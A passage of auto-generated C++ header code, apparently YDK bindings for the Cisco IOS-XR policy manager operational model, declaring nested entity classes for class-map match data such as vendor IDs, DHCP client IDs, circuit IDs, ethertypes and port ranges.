PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthDomain : public ydk::Entity { public: UnauthDomain(); ~UnauthDomain(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthDomain class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthDomainRegex : public ydk::Entity { public: UnauthDomainRegex(); ~UnauthDomainRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::UnauthDomainRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VendorId : public ydk::Entity { public: VendorId(); ~VendorId(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VendorId class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VendorIdRegex : public ydk::Entity { public: VendorIdRegex(); ~VendorIdRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::VendorIdRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AccessInterface : public ydk::Entity { public: AccessInterface(); ~AccessInterface(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::AccessInterface class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::InputInterface : public ydk::Entity { public: InputInterface(); ~InputInterface(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::InputInterface class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::InputIntfhdl : public ydk::Entity { public: InputIntfhdl(); ~InputIntfhdl(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint64_array; //type: list of uint64 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::InputIntfhdl class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ethertype : public ydk::Entity { public: Ethertype(); ~Ethertype(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint16RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ethertype::Uint16RngArray ydk::YList uint16_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ethertype class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ethertype::Uint16RngArray : public ydk::Entity { public: Uint16RngArray(); ~Uint16RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint16 ydk::YLeaf max; //type: uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ethertype::Uint16RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowKeyData : public ydk::Entity { public: FlowKeyData(); ~FlowKeyData(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf max_count; //type: uint16 ydk::YLeaf idle_timeout; //type: uint16 class FlowKeys; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowKeyData::FlowKeys std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowKeyData::FlowKeys> flow_keys; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowKeyData class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowKeyData::FlowKeys : public ydk::Entity { public: FlowKeys(); ~FlowKeys(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf keys; //type: string ydk::YLeaf num; //type: uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowKeyData::FlowKeys class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DhcpClientId : public ydk::Entity { public: DhcpClientId(); ~DhcpClientId(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DhcpClientId class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DhcpClientIdRegex : public ydk::Entity { public: DhcpClientIdRegex(); ~DhcpClientIdRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DhcpClientIdRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::CircuitId : public ydk::Entity { public: CircuitId(); ~CircuitId(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::CircuitId class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::CircuitIdRegex : public ydk::Entity { public: CircuitIdRegex(); ~CircuitIdRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::CircuitIdRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::RemoteId : public ydk::Entity { public: RemoteId(); ~RemoteId(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::RemoteId class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::RemoteIdRegex : public ydk::Entity { public: RemoteIdRegex(); ~RemoteIdRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::RemoteIdRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcPort : public ydk::Entity { public: SrcPort(); ~SrcPort(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint16RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcPort::Uint16RngArray ydk::YList uint16_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcPort class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcPort::Uint16RngArray : public ydk::Entity { public: Uint16RngArray(); ~Uint16RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint16 ydk::YLeaf max; //type: uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::SrcPort::Uint16RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstPort : public ydk::Entity { public: DstPort(); ~DstPort(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint16RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstPort::Uint16RngArray ydk::YList uint16_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstPort class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstPort::Uint16RngArray : public ydk::Entity { public: Uint16RngArray(); ~Uint16RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint16 ydk::YLeaf max; //type: uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::DstPort::Uint16RngArray class 